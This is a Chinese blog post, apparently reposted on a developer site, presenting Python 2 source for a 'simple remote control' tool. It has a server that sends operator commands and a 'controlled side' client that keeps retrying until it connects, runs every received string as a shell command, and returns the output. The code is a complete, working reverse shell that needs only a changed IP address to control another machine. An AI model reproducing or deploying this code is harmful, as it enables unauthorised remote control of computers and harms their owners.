python socket tcp远控_python简易远程控制单线程版

本文实例为大家分享了python简易远程控制的具体代码,供大家参考,具体内容如下

1. 技术:管道通信,流文件处理,socket基础

2. Tips:

默认IP:127.0.0.1

默认端口:7676

3. 代码样例:

服务端:

#!/usr/bin/env python

# encoding: utf-8

import socket

import sys

from os import *

reload(sys)

sys.setdefaultencoding("utf-8")

def socketInit():

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

return s

def socketDeal(s,HOST,PORT):

s.bind((HOST,PORT))

s.listen(1)

def ControlModule(sS,addr):

recv_buffer = sS.recv(20048)

if recv_buffer == "[-]Error:Server is OFF" or recv_buffer == "[*]Server is OFF":

print recv_buffer

sys.exit(0)

else:

print recv_buffer

send_buf = raw_input(addr[0]+">")

sS.send(send_buf)

def main():

HOST = "127.0.0.1"

PORT = 7676

s = socketInit()

socketDeal(s, HOST, PORT)

sS,addr = s.accept()

print "Connect from " + addr[0] + ":" + repr(addr[1])

try:

while True:

ControlModule(sS,addr)

except Exception as e:

print "[-]Connect Error"

sS.close()

s.close()

sys.exit(-1)

except KeyboardInterrupt:

sS.close()

s.close()

sys.exit(0)

if __name__ == '__main__':

main()

受控端:

#!/usr/bin/env python

# encoding: utf-8

import socket

import sys

import re

import traceback

import tempfile

from os import *

from subprocess import *

reload(sys)

sys.setdefaultencoding("utf-8")

def socketInit():

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

return s

def socketConn(s,HOST,PORT):

while True:

try:

s.connect((HOST,PORT))

except Exception as e:

continue

else:

s.send("Welcome Sir ~")

break

def String_Deal(recv,send):

P_str = re.findall("cd(.*)|(\w):", recv)

if P_str!=[] and send == "":

if P_str[0][0]!="":

try:

chdir(P_str[0][0].strip())

except Exception as e:

flag = -1

else:

flag = 1

else:

try:

chdir(recv)

except Exception as e:

#traceback.print_exc()

flag = -1

else:

flag = 1

else:

if send == "":

flag = 1

else:

flag = 0

return flag

def OpenProcess(s):

try:

while True:

recv_buf = s.recv(2048)

#流文件技术,防止管道阻塞

out_temp = tempfile.SpooledTemporaryFile(bufsize=10*1000)

fileNo = out_temp.fileno()

cmd = Popen(recv_buf, shell=True,stdin=PIPE, stdout=fileNo, stderr=STDOUT)

cmd.wait()

out_temp.seek(0)

send_buf = out_temp.read()

#print len(send_buf)

#输入命令字符串处理识别

flag = String_Deal(recv_buf,send_buf)

if flag == 1:

s.send("OK")

elif flag == -1:

s.send("Error!!")

else:

s.send(send_buf)

send_buf = ""

except Exception as e:

try:

s.send("[-]Error:Server is OFF")

except Exception as e:

pass

s.close()

sys.exit(-1)

except KeyboardInterrupt:

try:

s.send("[*]Server is OFF")

except Exception as e:

pass

s.close()

sys.exit(0)

def main():

flag = 0

HOST = "127.0.0.1"

PORT = 7676

s = socketInit()

socketConn(s, HOST, PORT)

OpenProcess(s)

if __name__ == '__main__':

main()

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持脚本之家。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值